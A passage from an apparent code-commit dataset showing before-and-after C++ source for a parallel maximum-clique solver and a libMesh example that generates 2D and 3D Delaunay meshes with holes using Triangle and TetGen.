bits_per_word> colours;\n std::vector<int> position;\n };\n\n \/**\n * We've possibly found a new best. Update best_anywhere and our local\n * result, and do any necessary printing.\n *\/\n template <unsigned size_>\n auto found_possible_new_best(const FixedBitGraph<size_> & graph, const std::vector<int> & o,\n const FixedBitSet<size_> & c, int c_popcount,\n const MaxCliqueParams & params, MaxCliqueResult & result, AtomicIncumbent & best_anywhere,\n const std::vector<int> & position) -> void\n {\n if (best_anywhere.update(c_popcount)) {\n result.size = c_popcount;\n result.members.clear();\n for (int i = 0 ; i < graph.size() ; ++i)\n if (c.test(i))\n result.members.insert(o[i]);\n print_incumbent(params, result.size, position);\n }\n }\n\n \/**\n * Bound function.\n *\/\n auto bound(unsigned c_popcount, unsigned cn, const MaxCliqueParams & params, AtomicIncumbent & best_anywhere) -> bool\n {\n unsigned best_anywhere_value = best_anywhere.get();\n return (c_popcount + cn <= best_anywhere_value || best_anywhere_value >= params.stop_after_finding);\n }\n\n template <unsigned size_>\n auto expand(\n const FixedBitGraph<size_> & graph,\n const std::vector<int> & o, \/\/ static vertex ordering\n Queue<QueueItem<size_> > & queue,\n const std::array<unsigned, size_ * bits_per_word> & p_order,\n const std::array<unsigned, size_ * bits_per_word> & colours,\n FixedBitSet<size_> & c, \/\/ current candidate clique\n FixedBitSet<size_> & p, \/\/ potential additions\n MaxCliqueResult & result,\n const MaxCliqueParams & params,\n AtomicIncumbent & best_anywhere,\n std::vector<int> & position) -> void\n {\n auto c_popcount = c.popcount();\n\n \/\/ for each v in p... (v comes later)\n int n = p.popcount() - 1;\n\n \/\/ bound, timeout or early exit?\n if (bound(c_popcount, colours[n], params, best_anywhere) || params.abort.load())\n return;\n\n auto v = p_order[n];\n\n \/\/ queue empty? enqueue \"not taking v\"\n bool enqueued_not_v = false;\n if (n > 5 && queue.want_donations()) {\n enqueued_not_v = true;\n auto alt_p = p;\n alt_p.unset(v);\n auto alt_position = position;\n ++alt_position.back();\n queue.enqueue(QueueItem<size_>{ c, alt_p, p_order, colours, alt_position });\n }\n\n \/\/ consider taking v\n c.set(v);\n ++c_popcount;\n ++position.back();\n\n \/\/ filter p to contain vertices adjacent to v\n FixedBitSet<size_> new_p = p;\n new_p = p;\n graph.intersect_with_row(v, new_p);\n\n if (new_p.empty()) {\n found_possible_new_best(graph, o, c, c_popcount, params, result, best_anywhere, position);\n }\n else\n {\n std::array<unsigned, size_ * bits_per_word> new_p_order, new_colours;\n colourise<size_>(graph, new_p, new_p_order, new_colours);\n ++result.nodes; \/\/ rough consistency...\n\n position.push_back(0);\n expand<size_>(graph, o, queue, new_p_order, new_colours, c, new_p, result, params, best_anywhere, position);\n position.pop_back();\n }\n\n \/\/ now consider not taking v\n c.unset(v);\n p.unset(v);\n --c_popcount;\n\n if (n > 0 && ! enqueued_not_v) {\n expand<size_>(graph, o, queue, p_order, colours, c, p, result, params, best_anywhere, position);\n }\n }\n\n template <unsigned size_>\n auto max_clique(const FixedBitGraph<size_> & graph, const std::vector<int> & o, const MaxCliqueParams & params) -> MaxCliqueResult\n {\n Queue<QueueItem<size_> > queue{ params.n_threads, true }; \/\/ work queue\n\n MaxCliqueResult result; \/\/ global result\n std::mutex result_mutex;\n\n AtomicIncumbent best_anywhere; \/\/ global incumbent\n best_anywhere.update(params.initial_bound);\n\n std::list<std::thread> threads; \/\/ populating thread, and workers\n\n \/* initial job *\/\n {\n FixedBitSet<size_> tc; \/\/ local candidate clique\n tc.resize(graph.size());\n\n FixedBitSet<size_> tp; \/\/ local potential additions\n tp.resize(graph.size());\n tp.set_all();\n\n std::vector<int> position;\n position.push_back(0);\n\n std::array<unsigned, size_ * bits_per_word> p_order, colours;\n colourise<size_>(graph, tp, p_order, colours);\n queue.enqueue(QueueItem<size_>{ tc, tp, p_order, colours, position });\n queue.initial_producer_done();\n }\n\n \/* workers *\/\n for (unsigned i = 0 ; i < params.n_threads ; ++i) {\n threads.push_back(std::thread([&, i] {\n auto start_time = std::chrono::steady_clock::now(); \/\/ local start time\n\n MaxCliqueResult tr; \/\/ local result\n\n while (true) {\n \/\/ get some work to do\n QueueItem<size_> args;\n if (! queue.dequeue_blocking(args))\n break;\n\n \/\/ do some work\n expand<size_>(graph, o, queue, args.p_order, args.colours, args.c, args.p, tr, params, best_anywhere, args.position);\n\n \/\/ keep track of top nodes done\n if (! params.abort.load())\n ++tr.top_nodes_done;\n }\n\n auto overall_time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - start_time);\n\n \/\/ merge results\n {\n std::unique_lock<std::mutex> guard(result_mutex);\n result.merge(tr);\n result.times.push_back(overall_time);\n }\n }));\n }\n\n \/\/ wait until they're done, and clean up threads\n for (auto & t : threads)\n t.join();\n\n return result;\n }\n\n template <unsigned size_>\n auto tbmcsabin(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n {\n std::vector<int> o(graph.size()); \/\/ vertex ordering\n std::iota(o.begin(), o.end(), 0);\n degree_sort(graph, o, false);\n\n \/\/ re-encode graph as a bit graph\n FixedBitGraph<size_> bit_graph;\n bit_graph.resize(graph.size());\n\n for (int i = 0 ; i < graph.size() ; ++i)\n for (int j = 0 ; j < graph.size() ; ++j)\n if (graph.adjacent(o[i], o[j]))\n bit_graph.add_edge(i, j);\n\n \/\/ go!\n return max_clique(bit_graph, o, params);\n }\n}\n\nauto parasols::tbmcsabin_max_clique(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n{\n \/* This is pretty horrible: in order to avoid dynamic allocation, select\n * the appropriate specialisation for our graph's size. *\/\n static_assert(max_graph_words == 256, \"Need to update here if max_graph_size is changed.\");\n if (graph.size() < bits_per_word)\n return tbmcsabin<1>(graph, params);\n else if (graph.size() < 2 * bits_per_word)\n return tbmcsabin<2>(graph, params);\n else if (graph.size() < 4 * bits_per_word)\n return tbmcsabin<4>(graph, params);\n else if (graph.size() < 8 * bits_per_word)\n return tbmcsabin<8>(graph, params);\n else if (graph.size() < 16 * bits_per_word)\n return tbmcsabin<16>(graph, params);\n else if (graph.size() < 32 * bits_per_word)\n return tbmcsabin<32>(graph, params);\n else if (graph.size() < 64 * bits_per_word)\n return tbmcsabin<64>(graph, params);\n else if (graph.size() < 128 * bits_per_word)\n return tbmcsabin<128>(graph, params);\n else if (graph.size() < 256 * bits_per_word)\n return tbmcsabin<256>(graph, params);\n else\n throw GraphTooBig();\n}\n\n\n<commit_msg>Don't queue things which will be eliminated<commit_after>\/* vim: set sw=4 sts=4 et foldmethod=syntax : *\/\n\n#include <max_clique\/tbmcsabin_max_clique.hh>\n#include <max_clique\/colourise.hh>\n#include <max_clique\/print_incumbent.hh>\n#include <threads\/atomic_incumbent.hh>\n#include <threads\/queue.hh>\n#include <graph\/degree_sort.hh>\n\n#include <algorithm>\n#include <list>\n#include <functional>\n#include <vector>\n#include <thread>\n\nusing namespace parasols;\n\nnamespace\n{\n template <unsigned size_>\n struct QueueItem\n {\n FixedBitSet<size_> c;\n FixedBitSet<size_> p;\n std::array<unsigned, size_ * bits_per_word> p_order;\n std::array<unsigned, size_ * bits_per_word> colours;\n std::vector<int> position;\n };\n\n \/**\n * We've possibly found a new best. Update best_anywhere and our local\n * result, and do any necessary printing.\n *\/\n template <unsigned size_>\n auto found_possible_new_best(const FixedBitGraph<size_> & graph, const std::vector<int> & o,\n const FixedBitSet<size_> & c, int c_popcount,\n const MaxCliqueParams & params, MaxCliqueResult & result, AtomicIncumbent & best_anywhere,\n const std::vector<int> & position) -> void\n {\n if (best_anywhere.update(c_popcount)) {\n result.size = c_popcount;\n result.members.clear();\n for (int i = 0 ; i < graph.size() ; ++i)\n if (c.test(i))\n result.members.insert(o[i]);\n print_incumbent(params, result.size, position);\n }\n }\n\n \/**\n * Bound function.\n *\/\n auto bound(unsigned c_popcount, unsigned cn, const MaxCliqueParams & params, AtomicIncumbent & best_anywhere) -> bool\n {\n unsigned best_anywhere_value = best_anywhere.get();\n return (c_popcount + cn <= best_anywhere_value || best_anywhere_value >= params.stop_after_finding);\n }\n\n template <unsigned size_>\n auto expand(\n const FixedBitGraph<size_> & graph,\n const std::vector<int> & o, \/\/ static vertex ordering\n Queue<QueueItem<size_> > & queue,\n const std::array<unsigned, size_ * bits_per_word> & p_order,\n const std::array<unsigned, size_ * bits_per_word> & colours,\n FixedBitSet<size_> & c, \/\/ current candidate clique\n FixedBitSet<size_> & p, \/\/ potential additions\n MaxCliqueResult & result,\n const MaxCliqueParams & params,\n AtomicIncumbent & best_anywhere,\n std::vector<int> & position) -> void\n {\n auto c_popcount = c.popcount();\n\n \/\/ for each v in p... (v comes later)\n int n = p.popcount() - 1;\n\n \/\/ bound, timeout or early exit?\n if (bound(c_popcount, colours[n], params, best_anywhere) || params.abort.load())\n return;\n\n auto v = p_order[n];\n\n \/\/ queue empty? enqueue \"not taking v\"\n bool enqueued_not_v = false;\n if (n > 5 && queue.want_donations() && ! bound(c_popcount, colours[n - 1], params, best_anywhere)) {\n enqueued_not_v = true;\n auto alt_p = p;\n alt_p.unset(v);\n auto alt_position = position;\n ++alt_position.back();\n queue.enqueue(QueueItem<size_>{ c, alt_p, p_order, colours, alt_position });\n }\n\n \/\/ consider taking v\n c.set(v);\n ++c_popcount;\n ++position.back();\n\n \/\/ filter p to contain vertices adjacent to v\n FixedBitSet<size_> new_p = p;\n new_p = p;\n graph.intersect_with_row(v, new_p);\n\n if (new_p.empty()) {\n found_possible_new_best(graph, o, c, c_popcount, params, result, best_anywhere, position);\n }\n else\n {\n std::array<unsigned, size_ * bits_per_word> new_p_order, new_colours;\n colourise<size_>(graph, new_p, new_p_order, new_colours);\n ++result.nodes; \/\/ rough consistency...\n\n position.push_back(0);\n expand<size_>(graph, o, queue, new_p_order, new_colours, c, new_p, result, params, best_anywhere, position);\n position.pop_back();\n }\n\n \/\/ now consider not taking v\n c.unset(v);\n p.unset(v);\n --c_popcount;\n\n if (n > 0 && ! enqueued_not_v) {\n expand<size_>(graph, o, queue, p_order, colours, c, p, result, params, best_anywhere, position);\n }\n }\n\n template <unsigned size_>\n auto max_clique(const FixedBitGraph<size_> & graph, const std::vector<int> & o, const MaxCliqueParams & params) -> MaxCliqueResult\n {\n Queue<QueueItem<size_> > queue{ params.n_threads, true }; \/\/ work queue\n\n MaxCliqueResult result; \/\/ global result\n std::mutex result_mutex;\n\n AtomicIncumbent best_anywhere; \/\/ global incumbent\n best_anywhere.update(params.initial_bound);\n\n std::list<std::thread> threads; \/\/ populating thread, and workers\n\n \/* initial job *\/\n {\n FixedBitSet<size_> tc; \/\/ local candidate clique\n tc.resize(graph.size());\n\n FixedBitSet<size_> tp; \/\/ local potential additions\n tp.resize(graph.size());\n tp.set_all();\n\n std::vector<int> position;\n position.push_back(0);\n\n std::array<unsigned, size_ * bits_per_word> p_order, colours;\n colourise<size_>(graph, tp, p_order, colours);\n queue.enqueue(QueueItem<size_>{ tc, tp, p_order, colours, position });\n queue.initial_producer_done();\n }\n\n \/* workers *\/\n for (unsigned i = 0 ; i < params.n_threads ; ++i) {\n threads.push_back(std::thread([&, i] {\n auto start_time = std::chrono::steady_clock::now(); \/\/ local start time\n\n MaxCliqueResult tr; \/\/ local result\n\n while (true) {\n \/\/ get some work to do\n QueueItem<size_> args;\n if (! queue.dequeue_blocking(args))\n break;\n\n \/\/ do some work\n expand<size_>(graph, o, queue, args.p_order, args.colours, args.c, args.p, tr, params, best_anywhere, args.position);\n\n \/\/ keep track of top nodes done\n if (! params.abort.load())\n ++tr.top_nodes_done;\n }\n\n auto overall_time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - start_time);\n\n \/\/ merge results\n {\n std::unique_lock<std::mutex> guard(result_mutex);\n result.merge(tr);\n result.times.push_back(overall_time);\n }\n }));\n }\n\n \/\/ wait until they're done, and clean up threads\n for (auto & t : threads)\n t.join();\n\n return result;\n }\n\n template <unsigned size_>\n auto tbmcsabin(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n {\n std::vector<int> o(graph.size()); \/\/ vertex ordering\n std::iota(o.begin(), o.end(), 0);\n degree_sort(graph, o, false);\n\n \/\/ re-encode graph as a bit graph\n FixedBitGraph<size_> bit_graph;\n bit_graph.resize(graph.size());\n\n for (int i = 0 ; i < graph.size() ; ++i)\n for (int j = 0 ; j < graph.size() ; ++j)\n if (graph.adjacent(o[i], o[j]))\n bit_graph.add_edge(i, j);\n\n \/\/ go!\n return max_clique(bit_graph, o, params);\n }\n}\n\nauto parasols::tbmcsabin_max_clique(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n{\n \/* This is pretty horrible: in order to avoid dynamic allocation, select\n * the appropriate specialisation for our graph's size. *\/\n static_assert(max_graph_words == 256, \"Need to update here if max_graph_size is changed.\");\n if (graph.size() < bits_per_word)\n return tbmcsabin<1>(graph, params);\n else if (graph.size() < 2 * bits_per_word)\n return tbmcsabin<2>(graph, params);\n else if (graph.size() < 4 * bits_per_word)\n return tbmcsabin<4>(graph, params);\n else if (graph.size() < 8 * bits_per_word)\n return tbmcsabin<8>(graph, params);\n else if (graph.size() < 16 * bits_per_word)\n return tbmcsabin<16>(graph, params);\n else if (graph.size() < 32 * bits_per_word)\n return tbmcsabin<32>(graph, params);\n else if (graph.size() < 64 * bits_per_word)\n return tbmcsabin<64>(graph, params);\n else if (graph.size() < 128 * bits_per_word)\n return tbmcsabin<128>(graph, params);\n else if (graph.size() < 256 * bits_per_word)\n return tbmcsabin<256>(graph, params);\n else\n throw GraphTooBig();\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/* The Next Great Finite Element Library. *\/\n\/* Copyright (C) 2003 Benjamin S. Kirk *\/\n\n\/* This library is free software; you can redistribute it and\/or *\/\n\/* modify it under the terms of the GNU Lesser General Public *\/\n\/* License as published by the Free Software Foundation; either *\/\n\/* version 2.1 of the License, or (at your option) any later version. *\/\n\n\/* This library is distributed in the hope that it will be useful, *\/\n\/* but WITHOUT ANY WARRANTY; without even the implied warranty of *\/\n\/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *\/\n\/* Lesser General Public License for more details. *\/\n\n\/* You should have received a copy of the GNU Lesser General Public *\/\n\/* License along with this library; if not, write to the Free Software *\/\n\/* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *\/\n\n\n\n \/\/ <h1>Miscellaneous Example 6 - Meshing with LibMesh's TetGen and Triangle Interfaces<\/h1>\n \/\/\n \/\/ LibMesh provides interfaces to both Triangle and TetGen for generating \n \/\/ Delaunay triangulations and tetrahedralizations in two and three dimensions\n \/\/ (respectively).\n\n\/\/ Local header files\n#include \"elem.h\"\n#include \"face_tri3.h\"\n#include \"mesh.h\"\n#include \"mesh_generation.h\"\n#include \"mesh_tetgen_interface.h\"\n#include \"mesh_triangle_holes.h\"\n#include \"mesh_triangle_interface.h\"\n#include \"node.h\"\n#include \"serial_mesh.h\"\n\n\/\/ Bring in everything from the libMesh namespace\nusing namespace libMesh;\n\n\/\/ Major functions called by main\nvoid triangulate_domain();\nvoid tetrahedralize_domain();\n\n\/\/ Helper routine for tetrahedralize_domain(). Adds the points and elements\n\/\/ of a convex hull generated by TetGen to the input mesh\nvoid add_cube_convex_hull_to_mesh(MeshBase& mesh, Point lower_limit, Point upper_limit);\n\n\n\n\n\/\/ Begin the main program.\nint main (int argc, char** argv)\n{\n \/\/ Initialize libMesh and any dependent libaries, like in example 2.\n LibMeshInit init (argc, argv);\n\n libmesh_example_assert(2 <= LIBMESH_DIM, \"2D support\");\n\n std::cout << \"Triangulating an L-shaped domain with holes\" << std::endl;\n\n \/\/ 1.) 2D triangulation of L-shaped domain with three holes of different shape\n triangulate_domain();\n \n libmesh_example_assert(3 <= LIBMESH_DIM, \"3D support\");\n\n std::cout << \"Tetrahedralizing a prismatic domain with a hole\" << std::endl;\n\n \/\/ 2.) 3D tetrahedralization of rectangular domain with hole.\n tetrahedralize_domain();\n \n return 0;\n}\n\n\n\n\nvoid triangulate_domain()\n{\n#ifdef LIBMESH_HAVE_TRIANGLE\n \/\/ Use typedefs for slightly less typing.\n typedef TriangleInterface::Hole Hole;\n typedef TriangleInterface::PolygonHole PolygonHole;\n typedef TriangleInterface::ArbitraryHole ArbitraryHole;\n\n \/\/ Libmesh mesh that will eventually be created.\n Mesh mesh(2);\n \n \/\/ The points which make up the L-shape:\n mesh.add_point(Point( 0. , 0.));\n mesh.add_point(Point( 0. , -1.));\n mesh.add_point(Point(-1. , -1.));\n mesh.add_point(Point(-1. , 1.));\n mesh.add_point(Point( 1. , 1.));\n mesh.add_point(Point( 1. , 0.));\n\n \/\/ Declare the TriangleInterface object. This is where\n \/\/ we can set parameters of the triangulation and where the\n \/\/ actual triangulate function lives.\n TriangleInterface t(mesh);\n\n \/\/ Customize the variables for the triangulation\n t.desired_area() = .01;\n\n \/\/ A Planar Straight Line Graph (PSLG) is essentially a list\n \/\/ of segments which have to exist in the final triangulation.\n \/\/ For an L-shaped domain, Triangle will compute the convex\n \/\/ hull of boundary points if we do not specify the PSLG.\n \/\/ The PSLG algorithm is also required for triangulating domains\n \/\/ containing holes\n t.triangulation_type() = TriangleInterface::PSLG;\n\n \/\/ Turn on\/off Laplacian mesh smoothing after generation.\n \/\/ By default this is on.\n t.smooth_after_generating() = true;\n\n \/\/ Define holes...\n \n \/\/ hole_1 is a circle (discretized by 50 points)\n PolygonHole hole_1(Point(-0.5, 0.5), \/\/ center\n\t\t 0.25, \/\/ radius\n\t\t 50); \/\/ n. points\n\n \/\/ hole_2 is itself a triangle\n PolygonHole hole_2(Point(0.5, 0.5), \/\/ center\n\t\t 0.1, \/\/ radius\n\t\t 3); \/\/ n. points\n\n \/\/ hole_3 is an ellipse of 100 points which we define here\n Point ellipse_center(-0.5, -0.5);\n const unsigned int n_ellipse_points=100;\n std::vector<Point> ellipse_points(n_ellipse_points);\n const Real\n dtheta = 2*libMesh::pi \/ static_cast<Real>(n_ellipse_points),\n a = .1,\n b = .2;\n\n for (unsigned int i=0; i<n_ellipse_points; ++i)\n ellipse_points[i]= Point(ellipse_center(0)+a*cos(i*dtheta),\n\t\t\t ellipse_center(1)+b*sin(i*dtheta));\n \n ArbitraryHole hole_3(ellipse_center, ellipse_points);\n\t\n \/\/ Create the vector of Hole*'s ...\n std::vector<Hole*> holes;\n holes.push_back(&hole_1);\n holes.push_back(&hole_2);\n holes.push_back(&hole_3);\n\t\n \/\/ ... and attach it to the triangulator object\n t.attach_hole_list(&holes);\n\n \/\/ Triangulate!\n t.triangulate();\n\n \/\/ Write the result to file\n mesh.write(\"delaunay_l_shaped_hole.e\");\n\n#endif \/\/ LIBMESH_HAVE_TRIANGLE\n}\n\n\n\nvoid tetrahedralize_domain()\n{\n#ifdef LIBMESH_HAVE_TETGEN\n \/\/ The algorithm is broken up into several steps: \n \/\/ 1.) A convex hull is constructed for a rectangular hole.\n \/\/ 2.) A convex hull is constructed for the domain exterior.\n \/\/ 3.) Neighbor information is updated so TetGen knows there is a convex hull\n \/\/ 4.) A vector of hole points is created.\n \/\/ 5.) The domain is tetrahedralized, the mesh is written out, etc.\n \n \/\/ The mesh we will eventually generate\n SerialMesh mesh(3);\n\n \/\/ Lower and Upper bounding box limits for a rectangular hole within the unit cube.\n Point hole_lower_limit(0.2, 0.2, 0.4);\n Point hole_upper_limit(0.8, 0.8, 0.6);\n\n \/\/ 1.) Construct a convex hull for the hole\n add_cube_convex_hull_to_mesh(mesh, hole_lower_limit, hole_upper_limit);\n \n \/\/ 2.) Generate elements comprising the outer boundary of the domain.\n add_cube_convex_hull_to_mesh(mesh, Point(0.,0.,0.), Point(1., 1., 1.));\n\n \/\/ 3.) Update neighbor information so that TetGen can verify there is a convex hull.\n mesh.find_neighbors();\n\n \/\/ 4.) Set up vector of hole points\n std::vector<Point> hole(1);\n hole[0] = Point( 0.5*(hole_lower_limit + hole_upper_limit) );\n\n \/\/ 5.) Set parameters and tetrahedralize the domain\n \n \/\/ 0 means \"use TetGen default value\"\n Real quality_constraint = 2.0;\n\n \/\/ The volume constraint determines the max-allowed tetrahedral\n \/\/ volume in the Mesh. TetGen will split cells which are larger than\n \/\/ this size\n Real volume_constraint = 0.001;\n \n \/\/ Construct the Delaunay tetrahedralization\n TetGenMeshInterface t(mesh);\n t.triangulate_conformingDelaunayMesh_carvehole(hole, \n\t\t\t\t\t\t quality_constraint, \n\t\t\t\t\t\t volume_constraint);\n \n \/\/ Find neighbors, etc in preparation for writing out the Mesh\n mesh.prepare_for_use();\n\n \/\/ Finally, write out the result\n mesh.write(\"hole_3D.e\");\n#endif \/\/ LIBMESH_HAVE_TETGEN\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\nvoid add_cube_convex_hull_to_mesh(MeshBase& mesh, Point lower_limit, Point upper_limit)\n{\n#ifdef LIBMESH_HAVE_TETGEN\n Mesh cube_mesh(3);\n\n unsigned n_elem = 1;\n\n MeshTools::Generation::build_cube(cube_mesh,\n\t\t\t\t n_elem,n_elem,n_elem, \/\/ n. elements in each direction\n\t\t\t\t lower_limit(0), upper_limit(0),\n\t\t\t\t lower_limit(1), upper_limit(1),\n\t\t\t\t lower_limit(2), upper_limit(2),\n\t\t\t\t HEX8);\n \n \/\/ The pointset_convexhull() algorithm will ignore the Hex8s\n \/\/ in the Mesh, and just construct the triangulation\n \/\/ of the convex hull.\n TetGenMeshInterface t(cube_mesh);\n t.pointset_convexhull(); \n \n \/\/ Now add all nodes from the boundary of the cube_mesh to the input mesh.\n\n \/\/ Map from \"node id in cube_mesh\" -> \"node id in mesh\". Initially inserted\n \/\/ with a dummy value, later to be assigned a value by the input mesh.\n std::map<unsigned,unsigned> node_id_map;\n typedef std::map<unsigned,unsigned>::iterator iterator;\n\n {\n MeshBase::element_iterator it = cube_mesh.elements_begin();\n const MeshBase::element_iterator end = cube_mesh.elements_end();\n for ( ; it != end; ++it) \n {\n\tElem* elem = *it;\n\t \n\tfor (unsigned s=0; s<elem->n_sides(); ++s)\n\t if (elem->neighbor(s) == NULL)\n\t {\n\t \/\/ Add the node IDs of this side to the set\n\t AutoPtr<Elem> side = elem->side(s);\n\t\t\n\t for (unsigned n=0; n<side->n_nodes(); ++n)\n\t\tnode_id_map.insert( std::make_pair(side->node(n), \/*dummy_value=*\/0) );\n\t }\n }\n }\n\n \/\/ For each node in the map, insert it into the input mesh and keep \n \/\/ track of the ID assigned.\n for (iterator it=node_id_map.begin(); it != node_id_map.end(); ++it)\n {\n \/\/ Id of the node in the cube mesh\n unsigned id = (*it).first;\n\n \/\/ Pointer to node in the cube mesh\n Node* old_node = cube_mesh.node_ptr(id);\n\n \/\/ Add geometric point to input mesh\n Node* new_node = mesh.add_point ( *old_node );\n\n \/\/ Track ID value of new_node in map\n (*it).second = new_node->id();\n }\n \n \/\/ With the points added and the map data structure in place, we are\n \/\/ ready to add each TRI3 element of the cube_mesh to the input Mesh \n \/\/ with proper node assignments\n {\n MeshBase::element_iterator el = cube_mesh.elements_begin();\n const MeshBase::element_iterator end_el = cube_mesh.elements_end();\n \n for (; el != end_el; ++el)\n {\n\tElem* old_elem = *el;\n\n\tif (old_elem->type() == TRI3)\n\t {\n\t Elem* new_elem = mesh.add_elem(new Tri3);\n\n\t \/\/ Assign nodes in new elements. Since this is an example,\n\t \/\/ we'll do it in several steps.\n\t for (unsigned i=0; i<old_elem->n_nodes(); ++i)\n\t {\n\t\t\/\/ Locate old node ID in the map\n\t\titerator it = node_id_map.find(old_elem->node(i));\n\n\t\t\/\/ Check for not found\n\t\tif (it == node_id_map.end())\n\t\t {\n\t\t libMesh::err << \"Node id \" << old_elem->node(i) << \" not found in map!\" << std::endl;\n\t\t libmesh_error();\n\t\t }\n\n\t\t\/\/ Mapping to node ID in input mesh\n\t\tunsigned new_node_id = (*it).second;\n\n\t\t\/\/ Node pointer assigned from input mesh\n\t\tnew_elem->set_node(i) = mesh.node_ptr(new_node_id);\n\t }\n\t }\n }\n }\n#endif \/\/ LIBMESH_HAVE_TETGEN\n}\n<commit_msg>Using SerialMesh with TetGen for now<commit_after>\/* The Next Great Finite Element Library. *\/\n\/* Copyright (C) 2003 Benjamin S. Kirk *\/\n\n\/* This library is free software; you can redistribute it and\/or *\/\n\/* modify it under the terms of the GNU Lesser General Public *\/\n\/* License as published by the Free Software Foundation; either *\/\n\/* version 2.1 of the License, or (at your option) any later version. *\/\n\n\/* This library is distributed in the hope that it will be useful, *\/\n\/* but WITHOUT ANY WARRANTY; without even the implied warranty of *\/\n\/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *\/\n\/* Lesser General Public License for more details. *\/\n\n\/* You should have received a copy of the GNU Lesser General Public *\/\n\/* License along with this library; if not, write to the Free Software *\/\n\/* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *\/\n\n\n\n \/\/ <h1>Miscellaneous Example 6 - Meshing with LibMesh's TetGen and Triangle Interfaces<\/h1>\n \/\/\n \/\/ LibMesh provides interfaces to both Triangle and TetGen for generating \n \/\/ Delaunay triangulations and tetrahedralizations in two and three dimensions\n \/\/ (respectively).\n\n\/\/ Local header files\n#include \"elem.h\"\n#include \"face_tri3.h\"\n#include \"mesh.h\"\n#include \"mesh_generation.h\"\n#include \"mesh_tetgen_interface.h\"\n#include \"mesh_triangle_holes.h\"\n#include \"mesh_triangle_interface.h\"\n#include \"node.h\"\n#include \"serial_mesh.h\"\n\n\/\/ Bring in everything from the libMesh namespace\nusing namespace libMesh;\n\n\/\/ Major functions called by main\nvoid triangulate_domain();\nvoid tetrahedralize_domain();\n\n\/\/ Helper routine for tetrahedralize_domain(). Adds the points and elements\n\/\/ of a convex hull generated by TetGen to the input mesh\nvoid add_cube_convex_hull_to_mesh(MeshBase& mesh, Point lower_limit, Point upper_limit);\n\n\n\n\n\/\/ Begin the main program.\nint main (int argc, char** argv)\n{\n \/\/ Initialize libMesh and any dependent libaries, like in example 2.\n LibMeshInit init (argc, argv);\n\n libmesh_example_assert(2 <= LIBMESH_DIM, \"2D support\");\n\n std::cout << \"Triangulating an L-shaped domain with holes\" << std::endl;\n\n \/\/ 1.) 2D triangulation of L-shaped domain with three holes of different shape\n triangulate_domain();\n \n libmesh_example_assert(3 <= LIBMESH_DIM, \"3D support\");\n\n std::cout << \"Tetrahedralizing a prismatic domain with a hole\" << std::endl;\n\n \/\/ 2.) 3D tetrahedralization of rectangular domain with hole.\n tetrahedralize_domain();\n \n return 0;\n}\n\n\n\n\nvoid triangulate_domain()\n{\n#ifdef LIBMESH_HAVE_TRIANGLE\n \/\/ Use typedefs for slightly less typing.\n typedef TriangleInterface::Hole Hole;\n typedef TriangleInterface::PolygonHole PolygonHole;\n typedef TriangleInterface::ArbitraryHole ArbitraryHole;\n\n \/\/ Libmesh mesh that will eventually be created.\n Mesh mesh(2);\n \n \/\/ The points which make up the L-shape:\n mesh.add_point(Point( 0. , 0.));\n mesh.add_point(Point( 0. , -1.));\n mesh.add_point(Point(-1. , -1.));\n mesh.add_point(Point(-1. , 1.));\n mesh.add_point(Point( 1. , 1.));\n mesh.add_point(Point( 1. , 0.));\n\n \/\/ Declare the TriangleInterface object. This is where\n \/\/ we can set parameters of the triangulation and where the\n \/\/ actual triangulate function lives.\n TriangleInterface t(mesh);\n\n \/\/ Customize the variables for the triangulation\n t.desired_area() = .01;\n\n \/\/ A Planar Straight Line Graph (PSLG) is essentially a list\n \/\/ of segments which have to exist in the final triangulation.\n \/\/ For an L-shaped domain, Triangle will compute the convex\n \/\/ hull of boundary points if we do not specify the PSLG.\n \/\/ The PSLG algorithm is also required for triangulating domains\n \/\/ containing holes\n t.triangulation_type() = TriangleInterface::PSLG;\n\n \/\/ Turn on\/off Laplacian mesh smoothing after generation.\n \/\/ By default this is on.\n t.smooth_after_generating() = true;\n\n \/\/ Define holes...\n \n \/\/ hole_1 is a circle (discretized by 50 points)\n PolygonHole hole_1(Point(-0.5, 0.5), \/\/ center\n\t\t 0.25, \/\/ radius\n\t\t 50); \/\/ n. points\n\n \/\/ hole_2 is itself a triangle\n PolygonHole hole_2(Point(0.5, 0.5), \/\/ center\n\t\t 0.1, \/\/ radius\n\t\t 3); \/\/ n. points\n\n \/\/ hole_3 is an ellipse of 100 points which we define here\n Point ellipse_center(-0.5, -0.5);\n const unsigned int n_ellipse_points=100;\n std::vector<Point> ellipse_points(n_ellipse_points);\n const Real\n dtheta = 2*libMesh::pi \/ static_cast<Real>(n_ellipse_points),\n a = .1,\n b = .2;\n\n for (unsigned int i=0; i<n_ellipse_points; ++i)\n ellipse_points[i]= Point(ellipse_center(0)+a*cos(i*dtheta),\n\t\t\t ellipse_center(1)+b*sin(i*dtheta));\n \n ArbitraryHole hole_3(ellipse_center, ellipse_points);\n\t\n \/\/ Create the vector of Hole*'s ...\n std::vector<Hole*> holes;\n holes.push_back(&hole_1);\n holes.push_back(&hole_2);\n holes.push_back(&hole_3);\n\t\n \/\/ ... and attach it to the triangulator object\n t.attach_hole_list(&holes);\n\n \/\/ Triangulate!\n t.triangulate();\n\n \/\/ Write the result to file\n mesh.write(\"delaunay_l_shaped_hole.e\");\n\n#endif \/\/ LIBMESH_HAVE_TRIANGLE\n}\n\n\n\nvoid tetrahedralize_domain()\n{\n#ifdef LIBMESH_HAVE_TETGEN\n \/\/ The algorithm is broken up into several steps: \n \/\/ 1.) A convex hull is constructed for a rectangular hole.\n \/\/ 2.) A convex hull is constructed for the domain exterior.\n \/\/ 3.) Neighbor information is updated so TetGen knows there is a convex hull\n \/\/ 4.) A vector of hole points is created.\n \/\/ 5.) The domain is tetrahedralized, the mesh is written out, etc.\n \n \/\/ The mesh we will eventually generate\n SerialMesh mesh(3);\n\n \/\/ Lower and Upper bounding box limits 